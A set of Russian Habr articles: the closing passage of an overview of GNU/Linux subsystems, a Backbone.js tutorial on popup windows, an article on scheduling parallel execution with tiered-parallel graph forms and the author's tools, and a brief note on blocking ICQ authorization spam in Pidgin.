**Linux Security Modules** (LSM) — фреймворк внутри ядра Linux, позволяющий накладывать на систему дополнительные моде́ли безопасности. Это достигается при помощи мо́дулей безопасности, не путать с модулями ядра. Наиболее популярные модули безопасности — **SELinux** и **AppArmor**. Первый явлен миру АНБ и развивается Red Hat, второй рождён в рамках ОС Immunix и сегодня развивается Canonical Ltd. Соответственно, **SELinux** поставляется в RHEL и производных, а **AppArmor** — в Ubuntu. Оба модуля имеют сходное назначение и привносят в систему мандатное управление доступом. Оба модуля повышают безопасность системы, не позволяя приложениям делать то, что от них не ожидается. Так, сконфигурированные модули безопасности не дадут веб-серверу шариться по диску вне нескольких ожидаемых директорий. Обратной стороной является необходимость конфигурировать систему безопасности для каждого мало-мальски нестандартно настроенного приложения. Не у многих на это хватает энтузиазма, так что обычно модуль безопасности просто переключается в разрешающий режим.
Антивирусные программы для GNU/Linux существуют, но мне не встречались дистрибутивы, где бы они шли из коробки, кроме специализированных решений для сканирования системы.
### Подсистема печати
**CUPS** — «общая система печати UNIX», рождённая компанией Apple. Система модульная, поддерживает огромное количество устройств и, насколько мне известно, на сегодня не имеет альтернатив. А ещё **CUPS** имеет веб-интерфейс (по умолчанию на [localhost:631](http://localhost:631)).
Морда CUPS**CUPS** работает только с печатающими устройствами, сканеры поддерживаются фреймворком **SANE**. К сожалению, спектр поддерживаемых устройств у **SANE** не очень широк. Некоторые вендорские драйверы для МФУ обеспечивают одновременно работоспособность сканера и работоспособность принтера через **CUPS**. Так, например, делает **HPLIP** от HP Inc. Благдаря **HPLIP** GNU/Linux может похвастаться отличной поддержкой печатающих устройств от HP. В то же время, **HPLIP** прикручен к **CUPS** немного сбоку, и часто проблематично настроить устройства HP только утилитами **CUPS**, как многие другие принтеры. Приходится использовать `hp-setup`.
### Звуковая подсистема
Продолжительное время основной звуковой подсистемой ядра является **ALSA**. Некоторые пользователи ошибочно считают, что **PulseAudio** заменил **ALSA**. Это не так, **PulseAudio** — это звуковой сервер, являющийся лишь слоем абстракции, упрощающим управление аудиопотоками. Другим аудиосервером является **JACK**, который предназначен для профессиональной работы с аудио. Он не столь удобен для пользователя, но обеспечивает низкие задержки и предоставляет гибкую маршрутизацию MIDI-потоков.
Red Hat готовит нам **PipeWire** на замену **PulseAudio** и **JACK**. Следим за событиями.
### Межпроцессное взаимодействие
Здесь речь не про низкоуровневые POSIX-штуки типа разделяемой памяти и сокеты. За свой век GNU/Linux повидал несколько подсистем, призванных упростить межпроцессное взаимодействие (IPC) десктоп-приложений. Сейчас правит бал шина сообщений **D-Bus**, а об остальных позабыли. Для чего это нужно? Например, некая служба посылает в шину сообщение об изменении своего состояния, а апплет панели слушает его и изменяет свой индикатор. Так обычно работают апплеты громкости и клавиатурной раскладки.
### Сеть
Традиционно в различных дистрибутивах GNU/Linux сеть настраивалась скриптами (причём различными). **NetworkManager** — детище Red Hat, созданное, чтобы править всеми интерфейсами. В годы юности **NM** вызывал приступы фрустрации у пользователей, но потом всё стало неплохо. **NetworkManager** позволяет управлять проводными и беспроводными интерфейсами, всевозможными тунелями, виртуальными мостами, VLAN'ами и аггрегированными каналами, причём как при помощи графических фронтендов, так и псевдографического `nmtui` и текстового `nmcli`. Вещь удобная и универсальная, в дистрибутивах Red Hat, ожидаемо идёт по умолчанию, в Debian и производных идёт только с рабочим столом, а в «безголовом исполнении» **NM** опционален. Есть альтернативы попроще, например — **Wicd**.
Работоспособность WiFi-устройств, как правило, обеспечивает демон **WPA supplicant**, у которого есть конкурент **iwd**, написанный ни много ни мало, компанией Intel.
Тут же хочется упомянуть демон **Bluez**, обеспечивающий работу с Bluetooth-устройствами.
### Межсетевой экран
Слава **iptables** гремит далеко за узким кругом бородатых админов. Это не фильтр сам по себе, а лишь набор утилит в пространстве пользователя, работающий с подсистемой Linux **Netfilter**. Недавно (в историческом масштабе) добавилась подсистема ядра **nftables** и соответствующая пользовательская утилита **nft**. Это было сделано, в первую очередь, для унификации интерфейсов таблиц маршрутизации IPv4, IPv6, ARP и софтовых L2-коммутаторов. В современных дистрибутивах команды **iptables** являются лишь обёрткой для **nftables** и не рекомендуются к использованию. В целом, конфиг **nft** выглядит опрятнее дампа **iptables**.
Существует пачка высокоуровневых фаерволлов-обёрток над **nftables** (в том числе графических), так в RHEL и производых из коробки идёт **firewalld**, а в Ubuntu — **UFW**.
### Пакетный менеджер
Пакетный менеджер — это сердце дистрибутива. Наиболее именитые и с длинной историей — это **RPM** из мира Red Hat и **dpkg** из семества Debian. Пример более современного — **pacman** из Arch Linux. Старожилы **RPM** и **dpkg** работают только с локальными пакетами: они их распаковывают, устанавливают и проверяют, что все зависимости удовлетворены. Работой с репозиториями занимаются другие утилиты, являющиеся как бы фронтендом к самому пакетному менеджеру. В RHEL ранее поставлялась утилита **yum**, на замену которой пришла **dnf**, в Debian раньше были **apt-get** и **apt-cache**, затем их увязали в одну команду **apt**. Более молодой **pacman** не имеет видимого пользователю разделения на несколько утилит и предлагает очень простой формат пакетов, которые можно собирать буквально на коленке. Есть и множество других, со своими особенностями. Например **nix**, который позволяет иметь в системе несколько версий одного пакета.
Новое в исторических масштабах явление — кросс-дистрибутивные системы поставки приложений. Появились в попытке преодолеть ад зависимостей, облегчить труд разработчиков и мейнтейнеров (избавив их от необходимости создавать десятки пакетов под разные версии и ветки GNU/Linux). Наиболее популярные проекты: **Flatpack** от Gnome, **Snap** от Canonical и **AppImage** сам по себе. Они несколько отличаются подходами, но в общем случае обеспечивают установку приложений со всем рантаймом и некоторой степенью изоляции от системы. Штуки удобные, однако подход несколько напоминает традиции тащить все зависимости с устанавливаемой программой в популярной ОС другого производителя. Простоты и порядка в систему не добавляют.
Для перечисленного добра есть красивые обёртки в виде магазинов приложений, два самых ходовых — **GNOME Software** и **KDE Discover**.
KDE DiscoverGNOME Software с фирменной кнопочкой в заголовке окна### Заключение
Краткая результирующая диаграмма:
Современный GNU/Linux в представлении художникаЕсли присмотреться к перечисленным составляющим GNU/Linux, можно заметить, что львиная доля технологий привносится несколькими крупными организациями. К ним относятся:
* проект GNU под эгидой Free Software Foundation;
* Red Hat, производитель коммерческого дистрибутива, недавно вошедший в состав IBM;
* сообщество kernel.org при поддержке Linux Foundation.
В интернете ради флейма часто вкидывают, мол, поглядите — эти ваши линуксы делают клятые корпорации, где ваше хвалёное сообщество? Я думаю, не стоит противопоставлять отдельных энтузиастов и организации: все они вращают колесо open source. В конце концов, в больших организациях трудятся обычные люди. В итоге мы имеем очень динамичную систему, в которой не без причины компоненты сменяются один за другим, всё это куда-то движется, и, в общем-то, год от года хорошеет. Я надеюсь, в этом очерке удалось дать представление об анатомии GNU/Linux, а может быть и заинтересовать кого-нибудь закопаться поглубже.
---
Большое спасибо [@ajijiadduh](/users/ajijiadduh), который отловил огромное количество опечаток сразу после публикации, и всем прочим пользователям, указавшим на ошибки.
Правки и предложения вы можете присылать по адресу <https://gitlab.com/bergentroll/gnu-linux-anatomy>.
Copyright © 2020 Антон «bergentroll» Карманов.
Это произведение доступно по лицензии [«Attribution-ShareAlike» («Атрибуция-СохранениеУсловий») 4.0 Всемирная (CC BY-SA 4.0)](http://creativecommons.org/licenses/by-sa/4.0/). | https://habr.com/ru/post/531872/ | null | ru | null |
# Практическое применение Backbone.View
В своем прошлом [топике](http://habrahabr.ru/blogs/webdev/123130/), я описал базовые принципы работы с фреймворком [backbone.js](http://documentcloud.github.com/backbone/), теперь предлагаю перейти к практике и сделать что-нибудь полезное.
Задача
======
Предположим, что на нашем сайте часто используются разного вида попапы. Все они обладают схожими чертами, их можно открывать в большом количестве, перетаскивать, закрывать. Кроме того различаются активные и неактивные попапы, причем активный расположен поверх остальных и не затенен (хм… я бы сказал, что это уже больше напоминает window-manager).
Вобщем как-то так:
В соответствии с заветами ООП, попробуем разработать класс для попапа, от которого мы сможем наследоваться и создавать попапы на свой вкус с общим для всех поведением.
Скачиваем [backbone.js](http://documentcloud.github.com/backbone/backbone.js), [jquery](http://code.jquery.com/jquery-1.7.1.js), [jquery ui](http://jqueryui.com/download/jquery-ui-1.8.16.custom.zip), [underscore.js](http://documentcloud.github.com/underscore/underscore.js) и
### index.html
Для начала создадим индексный файл с подключенными библиотеками, файлами нашего (еще не написанного) приложения и шаблонами.
```
Popup demo
<div class="title">
<h1><%= title %></h1>
</div>
<div class="content">
<%= content %>
</div>
<div class="popup-close">
</div>
<div class="title">
<h1><%= title %></h1>
<h3>i am a child</h3>
</div>
<div class="content">
<%= content %>
</div>
<div class="popup-close">
</div>
popup
child popup
```
В «body» у нас только 2 кнопки с помощью которых мы будем создавать попапы.
### app.js
В этом файлике на клики по кнопкам навешивается код, создающий попапы, и добавляющий их в наш DOM.
```
function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
$(function () {
$('#popup-button').click(function () {
var popup = new PopupView();
$('body').append(popup.render().el);
});
$('#child-popup-button').click(function () {
var popup = new ChildPopupView();
$('body').append(popup.render().el);
});
});
```
Так же я сюда запихнул функцию для получения случайного целого числа, она нам потом пригодится.
И теперь самое интересное!
### PopupView.js
```
var PopupView = Backbone.View.extend({
className: 'popup',
events: {
'click .popup-close': 'close',
'mousedown': 'raise'
},
initialize: function () {
this.template = $('#popup-template').html();
this.width = '400px';
this.height = '350px';
this.top = getRandomInt(100, 400) + 'px';
this.left = getRandomInt(200, 500) + 'px';
this.context = {
title: 'Default Title',
content: 'Lorem ipsum dolor sit amet.'
}
$(this.el).css({
'width': this.width,
'height': this.height,
'top': this.top,
'left': this.left,
'position': 'absolute'
});
$(this.el).draggable();
},
/**
* Рендерит попап и располагает его поверх остальных.
*/
render: function () {
$(this.el).html(_.template(this.template, this.context));
// Делаем декущий попап активным
$('.popup-active').removeClass('popup-active');
$(this.el).addClass('popup-active');
// Начальный z-index, минимальное значение которое может получить попап
var max_z = 100;
$('.popup').each(function () {
var curr_z = parseInt($(this).css('z-index'));
if (curr_z > max_z) {
max_z = curr_z;
}
});
$(this.el).css({ 'z-index': max_z + 10 });
return this;
},
/**
* Поднимает попап наверх и делает его активным
* по нажатию кнопки мыши.
*/
raise: function (e) {
if (!$(this.el).hasClass('popup-active')) {
var max_z = 0;
$('.popup-active').removeClass('popup-active');
$('.popup').each(function () {
var curr_z = parseInt($(this).css('z-index'));
if (curr_z > max_z) {
max_z = curr_z;
}
});
$(this.el).css({ 'z-index': max_z + 10 });
$(this.el).addClass('popup-active')
}
},
/**
* Удаляет попап из DOM.
*/
close: function () {
$(this.el).remove();
var max_z = 0;
var top = null;
// Выбираем самый верхний их оставшихся попапов
$('.popup').each(function () {
var curr_z = parseInt($(this).css('z-index'));
if (curr_z > max_z) {
max_z = curr_z;
top = this;
}
});
// Делаем его активным
if (top) {
$(top).addClass('popup-active');
}
}
});
```
Здесь у нас описан попап, который станет родителем для всех остальных попапов, в нем реализован весь типичный функционал.
Теперь, для того чтобы создать новый попап, реализующий какое-то новое поведение, или использующий другой шаблон нам потребуется всего несколько строк кода.
### ChildPopupView.js
```
var ChildPopupView = PopupView.extend({
initialize: function () {
ChildPopupView.__super__.initialize.call(this);
this.template = $('#child-popup-template').html();
this.context = {
title: 'Child Title',
content: 'Lorem ipsum dolor sit amet.'
}
}
});
```
В этом потомке мы подключили другой шаблон и поменяли заголовок попапа. Вот так вот все просто!
[Код демки](https://github.com/DavidKlassen/backbone-popups) | https://habr.com/ru/post/133622/ | null | ru | null |
# Есть ли параллелизм в произвольном алгоритме и как его использовать лучшим образом
Параллелизации обработки данных в настоящее время применяется в основном для сокращения времени вычислений путем одновременной обработки данных по частям на множестве различных вычислительных устройств с последующим объединением полученных результатов. Параллельное выполнение позволяет “обойти” сформулированный лордом Рэлеем в 1871 г. фундаментальный закон, согласно которому (в применимости к тепловыделению процессоров) мощность их тепловыделения пропорциональна четвертой степени тактовой частоты процессора (увеличение частоты вдвое повышает тепловыделение в 16 раз) и фактически заменить его линейным от числа параллельных вычислителей – при сохранении тактовой частоты). Ничто не дается даром – задача выявления (обычно скрытого для непосвящённого наблюдателя, [1]) потенциала параллелизма в алгоритмах не является "*лежащей на поверхности*", а уж эффективность его (параллелизма) использования – тем более.
Ниже приведена иллюстрация процесса выявления параллелизма для простейшего случая вычисления выражения axb+a/c (a, b, c – входные данные).
а) – “облако операторов” (последовательность выполнения операторов не определена), б) – полностью последовательное выполнение, в) – параллельное исполнение
Даже в таком примитивном алгоритме параллельное выполнение ускорило вычисления в полтора раза, но потребовало двух вычислителей вместо одного. Обычно с увеличением числа операторов (усложнением алгоритма) ускорение вычислений возрастает (хотя имеются и полностью нераспараллеливаемые на уровне арифметических действий алгоритмы – напр., вычисление чисел Фибоначчи). Для приведенного на рис.1 алгоритма все выкладки легко выполняются “в уме”, но для реальных (много более сложных алгоритмов) требуется машинная обработка.
Параллельная вычислительная система включает несколько вычислителей (арифметико-логических устройств), объединённых общей или локальной оперативной памятями и кэшами. Современные параллельные системы часто имеют не только гомогенное, но и гетерогенное вычислительное поле. Задача распределения вычислений между отдельными вычислителями приводит к разработке расписания (плана) вычислений. Проблемой является многозначность расписаний параллельного выполнения алгоритма в общем случае это *NP*-полная задача [2], точное решение (при заданных оптимизационных требованиях) которой можно получить только методом полного перебора (что нереально при числе операторов уже более сотен-тысяч). Выходом является использование эвристических методов, исходя из сложности данную область знания можно обоснованно отнести к наиболее сложным случаям “Науки о данных” (Data Science).
Параметрам выполнения распространенных алгоритмов в параллельном варианте посвящен известный ресурс AlgoWiki [3].
Фактические рассмотренные действия соответствуют схеме, приведённой ниже. Здесь в верхней части показан поток последовательно выполнявшихся операций (вектор времени направлен сверху вниз – как показано стрелкой), в нижней части рисунка – результат распараллеливания (считаем, что поле параллельных вычислителей гетерогенно и включает два вычислителя одного типа и три другого - что показано квадратами разного размера). Т.о. параллельное выполнение исходно последовательного потока команд разбивается на 5 потоков, причём каждый выполняется на определённом вычислителе из заданного поля параллельных вычислителей.
Часть операций в параллельных потоках показана иным цветом – не всегда удаётся полностью заполнить цепочку команд в каждом из потоков (принято говорить, что это снижает *плотность кода*), что определяется ограничениями, являющимися следствием внутренних свойств алгоритмов. Проблемой является определение принципа функционирования устройства преобразования последовательного потока команд в ряд параллельных (собственно операция *распараллеливания*), показанного в виде облака с вопросительными знаками внутри. Такие устройства могут функционировать как на аппаратном так и на программном уровнях и выполнять свои действия как в RealTime (во время выполнения программы, чаще относится к первому уровню) так и в DesignTime (во время трансляции, чаще ко второму).
Особенно интересен, с точки зрения автора, вариант параллелизации для языков программирования высокого уровня без явного указания распараллеливания и в системах c концепцией ILP (*Instruction-Level Parallelism*, параллелизм на уровне команд, с реализацией посредством вычислительной архитектуры EPIC (*Explicitly Parallel Instruction Computing*, явный параллелизм выполнения команд). При этом аппаратное обеспечение вычислительных систем сильно упрощается и все проблемы выявления параллелизма и построение собственно расписания выполнения программы для заданной конфигурации параллельной вычислительной системы ложатся на компилятор, что ведет к его усложнению и снижению скорости компиляции.
Одним из эффективных способов решения задачи определения рациональных планов выполнения параллельной задачи является представление алгоритма в виде графа с последующей его (графа) обработкой (при этом собственно граф остается неизменным, а меняется лишь его представление). Часто применяется Информационный Граф Алгоритма (ИГА). ИГА отображает зависимость вида “операторы - операнды”, при этом вершины графа ассоциируются с операторами (группами операторов) программы, а дуги – с линиями передачи (хранения) данных). ИГА обладает свойствами направленности, ацикличности и параметризован по размеру обрабатываемых данных (из-за последнего приходится исследовать один и тот же алгоритм с конкретным набором исходных данных).
Одной из важных процедур выявления параллелизма по заданному ИГА является получения его исходной (обладающей свойством каноничности) Ярусно-Параллельной Формы (ЯПФ), [4]. При этом условием расположением операторов на едином ярусе является независимость их друг от друга по информационным связям (необходимое условие их параллельного выполнения).
Получение такой (без условия ограниченности количества операторов на ярусах) ЯПФ требует *O(N*2*)* действий, где *N* – число операторов (вершин графа), ее высота (общее число ярусов) равна увеличенной на единицу длине критического пути в ИГА. Напрямую использовать такую ЯПФ в качестве основы для построения расписания выполнения параллельной программы обычно затруднительно (ширина некоторых ярусов часто сильно превышает число имеющихся параллельных вычислителей). Но т.к. вычисление такой ЯПФ вычислительно малозатратно, во многих случаях целесообразно начинать анализ именно с ее получения и в дальнейшем проводить модификацию этой ЯПФ с учетом конкретных задач. При этом при каждой модификации ЯПФ получаем новую форму, полностью соответствующую исходному ИГА.
Определенным недостатком использования метода построения ЯПФ для получения расписания является невозможность учета времени исполнения операторов, однако для современных микроархитектур характерно всемерное стремление к одинаковости времен выполнения всех операторов, что как раз повышает удобство использования ЯПФ.
Разберём процедуру получения несложного алгоритма вычисления вещественных корней полного квадратного уравнения ax2+bx+c=0. На рис. ниже показана таблица всех арифметических действий, необходимых для решения этой задачи (всего 11 операторов, не считая исходных данных).
Таблица - список арифметических действий (операторов) для решения задачи о нахождении действительных корней полного квадратного уравненияСледующий шаг – получение *информационного графа* рассматриваемого алгоритма по (вышеприведённому) списку операторов (рис. ниже). Здесь окружности – операторы, направленные стрелки соответствуют передаваемым данным. Вводные данные представлены тремя переменными (а,b,с) и константами (2,4,-1), выходные данные – корни уравнения х1 и х2. Обратите внимание – в структуре графа нет никаких (*"лежащих на поверхности"*) намёков на наличие параллелизма в алгоритме!
Информационный граф алгоритма нахождения вещественных корней
полного квадратного уравненияПолученная ЯПФ этого алгоритма – внизу (можно проверить – все информационные связи операторов остались неизменными, изменилась лишь *форма представления* графа).
На рисунке - ярусно-параллельная форма алгоритма решения полного квадратного уравнения в вещественных числах в канонической форме (номера ярусов ЯПФ расположены справа)Показанная ЯПФ уже является расписание выполнения параллельной программы (выполнение начинается “сверху вниз”, требует 6 относительных единиц времени и 4-х параллельных вычислителей). При этом число задействованных вычислителей по ярусам крайне неравномерно (важно при однозадачном режиме работы вычислительной системы) – на 1-м ярусе задействованы все 4, на 2,3,4 - только один и по два на 5- и 6 ярусах. Однако легко видеть, что простейшее преобразование (показанные красным пунктиром допустимые перестановки операторов с яруса на ярус) позволяют выполнить тот же алгоритм за то же (минимальное из возможных) время всего на двух вычислителях! Не для любого алгоритма получается столь идеально – часто для снижения требуемого числа параллельных вычислителей единственным путем является увеличение времени выполнения алгоритма (возрастание числа ярусов ЯПФ).
Для решения задач определения рационального (на основе заданных критериев) расписания выполнения произвольных алгоритмов создан инструментальный программный комплекс, включающая два модуля - D-F и SPF@home. Свободная выгрузка инсталляционных файлов доступна с ресурсов <http://vbakanov.ru/dataflow/content/install_df.exe> и <http://vbakanov.ru/spf@home/content/install_spf.exe> соответственно (дополнительная информация по теме - <http://vbakanov.ru/dataflow/dataflow.htm> и <http://vbakanov.ru/spf@home/spf@home.htm>).
 На рисунке - схема инструментального комплекса (\*.set и \*.gv – программный файл и файл информационного графа анализируемой программы соответственно, \*.mvr, \*.med – файлы метрик вершин и дуг графа алгоритма соответственно, \*.cls, \*.ops – файлы параметров вычислителей и операторов программы соответственно, \*.lua – текстовый файл на языке Lua, содержащий методы реорганизации ЯПФ)На вход комплекса поступает описание анализируемого алгоритма в форме традиционной программы (set-файлы) или формального описания в виде ориентированного ациклического информационного графа алгоритма – ИГА в форме gv-файов (зависимость вида “операторы - операнды”, при этом вершины графа ассоциируются с операторами (группами операторов) программы, а дуги – с линиями передачи (хранения) данных). ИГА обладает свойствами направленности, ацикличности и параметризован по размеру обрабатываемых данных (из-за последнего приходится исследовать один и тот же алгоритм с конкретным набором исходных данных).
В данном случае исследования по разработке и совершенствованию методов решения вопроса создания эффективных эвристик генерации обобщенного расписания (каркаса) выполнения параллельных программ проводились с помощью нижеописанного специализированного программного комплекса. Термин “каркас” здесь обоснован вследствие абстрагирования в данной работе от конкретных технологий параллельного программирования.
Для управления созданием расписания используется встроенный скриптовый язык Lua (Lua написан на "чистом C", обеспечивает неявную динамическую типизацию, поддерживает прототипную модель объектно-ориентированного программирования и был выбран на основе свойств его компактности, полной открытости исходных кодов и близости синтаксиса к распространенному С).
Родительское приложение создано с использованием языка программирования С++, является GUI Win’32-программой и доступно для свободной выгрузки и использования (как и исходные тексты) через GIT-репозиторий. Вывод данных осуществляется на экран в текстовом и графическом форматах и в файлы (также в структурированной текстовой форме).
Сочетание компилируемой родительской программы и встроенного интерпретатора скриптового языка позволило обеспечить высокую производительность и гибкость (Lua-вызовы фактически являются “обёртками” для API-функций модуля SPF@home).
Копии экранов обсуждаемого комплекса приведены на изображениях ниже (программные модули D-F и SPF@home соответственно).
Модуль D-F (Data-Flow) является фактически универсальным вычислителем, выполняющим программу на ассемблероподобном языке на заданном числе параллельных вычислителей. При их числе большем 1 вычисления ведутся по принципу “Data-Flow” (реализуется статическая потоковая архитектура), операторы выполняются по условию готовности их к выполнению (ГКВ), что является следствием присвоенности значений все операндам данного оператора; при единичном вычислителе реализуется обычное последовательное выполнение. В случае превышения числа ГКВ-операторов числа свободных вычислители используется задаваемая система приоритетов их выполнения, условное выполнение реализуется предикатным выполнением, для реализации циклов используется система макросов, “разворачивающая” циклические структуры. Модуль D-F имеет встроенную систему проверку корректности ИГА, для контроля выполнения используется динамическая цветовая индикация выполненности операторов.
Программы для D-F составляются в императивном стиле, каждый оператор по уровню сложности сопоставим с уровнем ассемблера, порядок расположения операторов в программе несущественен. Нижеприведен пример записи программы вычисления вещественных корней полного квадратного уравнения (входной set-файл для модуля D-F, механизм предикатов в приведенном варианте не используется):
Такая программа может рассматриваться как результат компиляции с языков программирования высокого уровня, не содержащих явных указаний на параллелизацию вычислений. В модуле D-F программа отлаживается, результат выдается в файл ИГА-формата для обработки в модуле SPF@home. В модуле SPF@home для получения ЯПФ из gv-файла (стандартный формат текстовых файлов описаний графов), запоминания его во внутреннем представлении системы, создание ЯПФ и запоминание его в Lua-массиве для дальнейшей обработки может быть выполнен следующий код (двойной дефис означает начало комментария до конца строки):
```
CreateTiersByEdges("EdgesData.gv") -- создать ЯПФ по файлу EdgesData.gv
-- с подтянутостью операторов “вверх”
-- CreateTiersByEdges_Bottom("EdgesData.gv") -- создать ЯПФ по файлу EdgesData.gv
-- с подтянутостью операторов “вниз”
--
OpsOnTiers={} -- создаём пустой 1D-массив OpsOnTiers
for iTier=1,GetCountTiers() do -- по ярусам ЯПФ
OpsOnTiers[iTier]={} -- создаём iTier-тую строку 2D-массива OpsOnTiers
for nOp=1,GetCountOpsOnTier(iTier) do -- по порядковым номерам операторов на ярусе iTier
OpsOnTiers[iTier][nOp]=GetOpByNumbOnTier(nOp,iTier) -- взять номер оператора nOp
end end -- конец циклов for по iTier и for по nOp
```
Для удобства данные метрик операторов и дуг графа выведены из gv-файлов и расположены в текстовых mvr и med-файлах, для моделирования выполнения программ на гетерогенном поле параллельных вычислителей служат cls и ops-файлы сопоставления возможностей выполнения определенных операторов на конкретных вычислителях. Преимуществом такого подхода является возможность задания нужных параметров целой группе объектов (списком типа “от-до”, причём список может быть и вырожденным) одной строкой файла. Задавать параметры можно по практически неограниченному количеству тегов, определяемых разработчиком.
Модуль SPF@home также позволяет определять “время жизни данных” между ярусами ЯПФ, что необходимо для определения/оптимизации параметров устройств временного хранения данных (быстродействующей разделяемой памяти - регистров общего назначения или низкоуровневого кэша). Собственно размер данных при этом берётся из med-файлов.
Система нацелена в основном на анализ программ, созданных с использованием языков программирования высокого уровня без явного указания распараллеливания и в системах c концепцией ILP (*Instruction-Level Parallelism*, параллелизм на уровне команд), хотя возможности модуля SPF@home позволяют использовать в качестве неделимых блоков последовательности команд любого размера.
Т.о. процедура составления расписания параллельного выполнения программы заключается в составлении Lua-программы, реализующей процедуры реорганизации ЯПФ в соответствие с заданными требованиями. Тремя типовыми встречающимися подзадачами (в реальном случае обычно требуется выполнение нескольких из этих подзадач одновременно) являются:
I. “Балансировка” числа операторов по всем ярусам заданной ЯПФ без увеличения ее высоты (минимизируется требуемое для решения задачи число параллельных вычислителей).
II. Получение расписания выполнения программы на заданном числе параллельных вычислителей с возможным увеличением высоты ЯПФ (фактически временем выполнения программы).
III. Получение расписания выполнения программы на гетерогенном поле параллельных вычислителей.
Моделирования проводилось на часто используемых при расчётах алгоритмах (в основном из области линейной алгебры) относительно небольшой размерности по входным данным; автор искренне надеется на сохранение выявленных тенденций и для много больших размерностей (во многих случаях требуемый эффект с большей вероятностью достигается при возрастании размерности).
Кроме того, из общих соображений нет смысла оптимизировать всю (возможно, содержащую многие миллионы машинных команд) программу, рационально оптимизировать только участки, выполнение которых занимает максимум времени (выявление таких участков – самостоятельная задача и здесь не рассматривается).
Собственно последовательность получения рационального расписания выполнения параллельной задачи будут следующей:
1) Получение исходной (не имеющей ограничений по ширине ярусов) ЯПФ.
2) Модификация этой ЯПФ в нужном направлении путем целенаправленной перестановки операторов с яруса на ярус при сохранении исходных связей в информационном графе алгоритма.
Описанная процедура итеративна и является естественно-последовательной для решения поставленной задачи. Второй параграф последовательности выполнятся в зависимости от выбранных исследователя критериев оптимизации метода разработки расписания (получение ЯПФ минимальной ширины, заданное ограничение ширины ЯПФ, минимизация числа регистров временного хранения данных, комбинированная функция цели). При этом сначала выполняются “информационные” API-вызовы и на основе полученных данных реализуются “акционные” вызовы (дающие информацию о состоянии ЯПФ и осуществляющие реальную перестановку операторов соответственно, причем перед выполнением вторых всегда проверяется условие неизменности исходных информационных связей в графе после совершения действия).
При необходимости в любой момент можно “откатить” сделанные изменения (пользуясь данными файла протокола) и начать новый цикл реорганизации ЯПФ (графическая интерпретация ЯПФ в виде линейчатой диаграммы позволяет визуально отслеживать изменения ЯПФ). По желанию исследователя исходная ЯПФ может быть получена в “верхней” или “нижней” форме (все операторы расположены на ярусах с минимальными или максимальными номерами соответственно; при этом тенденции перемещения операторов по ярусам будут в основном “вниз” или ”вверх”).
Методы достижения цели могут быть собственно разработанными эвристиками (обычно ограниченной сложности для возможности использования в режиме реального времени) или стандартными - метод “ветвей и границ”, генетические, “муравьиные” и др. (чаще используются при исследовательской работе). Возможности системы включают использование “оберток” многофункциональных системных Windows-вызовов WinExec, ShellExecute и CreateProcess, так что исследователь имеет возможность вызова и управления любыми внешними программами (например, использовать тот же METIS в качестве процесса-потомка), файловое обслуживание при этом осуществляется средствами Lua.
В качестве примера на рис.6 приведены (в форме линейчатых диаграмм распределения ширин ярусов ЯПФ) результаты вычислительных экспериментов с общим символическим названием “Bulldozer”, возникшим по аналогии с отвалом бульдозера, перемещающим грунт с “возвышенностей” во “впадины”.
На рис. показаны линейчатые диаграммы ширин ярусов реальных ЯПФ из копий экранов при работе системы SPF@home (средне-арифметическое значение ширин показано пунктиром, a) и символическая схема действия метода “Bulldozer” - б)Многочисленные вычислительные эксперименты показывают, что во многих случаях удается значительно (до 1,5-2 раз) снизить ширину ЯПФ без увеличения высоты, но почти никогда до минимальной величины (средне-арифметическое значение ширин ярусов).
Т.о. истинной ценностью данного исследования являются именно ***эвристические*** методы (реализованные на языке Lua) создания расписаний выполнения параллельных программ при определённых ограничениях (напр., c учетом заданного поля параллельных вычислителей, максимума скорости выполнения, минимизации или ограничения размеров временного хранения данных и др.).
В систему SPF@home включена возможность расчёта времени жизни локальных (для данного алгоритма) данных. Интересно, что даже при полностью последовательном выполнении алгоритма имеется возможность оптимизировать последовательность выполнения отдельных операторов с целью минимизации размера локальных данных. Выявленная возможность экономии устройств для хранения временных данных (в первую очередь дорогостоящих регистров общего назначения) прямо ведет к экономии вычислительных ресурсов (это может быть важно, например, для программируемых контроллеров и специализированных управляющих компьютеров). Полученные данные верны не только для однозадачного режима выполнения программ, но и применимы для многозадачности с перегрузкой контекстов процессов при многозадачности.
Целевыми потребителями разработанных методов генерации расписаний являются разработчики компиляторов, исследователи свойств алгоритмов (в первую очередь в направлении нахождения и использования потенциала скрытого параллелизма) и преподаватели соответствующих дисциплин.
Разрабатываемые с помощью вышеописанных систем методы являются необходимым этапом в реализации распараллеливающих блоков компиляторов для заданной системы команд процессора (на практике придётся учесть немало особенностей конкретной системы команд, однако без наличия общего подхода конкретная реализация практически всегда оказывается малоэффективной).
**Список литературы**
1. Воеводин В.В., Воеводин Вл.В. Параллельные вычисления. — СПб.: БХВ-етербург, 2002. — 608 c.
2. Гери М., Джонсон Д. Вычислительные машины и труднорешаемые задачи. : — Мир, Книга по Требованию, 2012. — 420 c.
3. AlgoWiki. Открытая энциклопедия свойств алгоритмов. URL: [http://algowiki-project.org](http://algowiki-project.org/) (дата обращения 31.07.2020).
4. Федотов И.Е. Параллельное программирование. Модели и приёмы. — М.: СОЛОН-Пресс, 2018. — 390 с.
5. Roberto Ierusalimschy. Programming in Lua. Third Edition. PUC-Rio, Brasil, Rio de Janeiro, 2013. — 348 p.
---
Предыдущие публикации на тему исследования параметров функционирования вычислительных систем методами математического моделирования:
* *Есть ли параллелизм в произвольном алгоритме и как его использовать лучшим образом (*[*https://habr.com/ru/post/530078/*](https://habr.com/ru/post/530078/)*, 26.11.2020)* ***- текущая***
* Такие важные короткоживущие данные (<https://habr.com/ru/post/534722/>, 24.12.2020)
* Это непростое условное выполнение (<https://habr.com/ru/post/535926/>, 03.01.2021)
* Динамика потокового вычислителя (<https://habr.com/ru/post/540122/>, 01.02.2021)
* Параллелизм и плотность кода (<https://habr.com/ru/post/545498/>, 05.03.2021)
* Сколько стоит расписание (<https://habr.com/ru/post/551688/>, 10.04.2021) | https://habr.com/ru/post/530078/ | null | ru | null |
# ICQ spam в Pidgin — отключаем запросы авторизации
Не знаю кого как, а меня уже задрали запросы на авторизацию через ICQ — приходят по 10-20 штук в день. Наконец-то нашёл способ как это всё отключить полностью. На jabber аккаунты в том же экземпляре пиджина запросы авторизации приходить будут. Когда подобного рода спам доберётся и до джаббера, надо будет придумывать новые меры защиты.
